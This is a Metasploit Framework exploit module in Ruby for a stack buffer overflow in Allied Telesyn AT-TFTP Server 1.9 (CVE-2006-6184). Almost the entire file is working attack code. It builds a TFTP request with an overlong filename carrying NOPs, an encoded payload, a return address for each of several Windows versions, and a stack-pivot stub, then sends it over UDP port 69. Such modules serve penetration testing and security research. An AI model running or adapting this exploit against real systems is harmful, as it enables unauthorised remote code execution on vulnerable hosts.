87 lines
2.5 KiB
Ruby
87 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
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request (get/write) for an overly long file name.
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},
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'Author' => [ 'patrick' ],
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2006-6184'],
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['OSVDB', '11350'],
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['BID', '21320'],
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['EDB', '2887'],
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['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd19.zip'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 210,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
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[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],
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[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
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[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
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[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
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[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
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[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
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[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
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[ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re
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[ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
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[ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 27 2006'))
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register_options(
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[
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Opt::RPORT(69),
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Opt::LHOST() # Required for stack offset
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], self.class)
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end
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def exploit
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connect_udp
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sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
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sploit << payload.encoded
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sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.
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sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn
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sploit << "\x00" + "netascii" + "\x00"
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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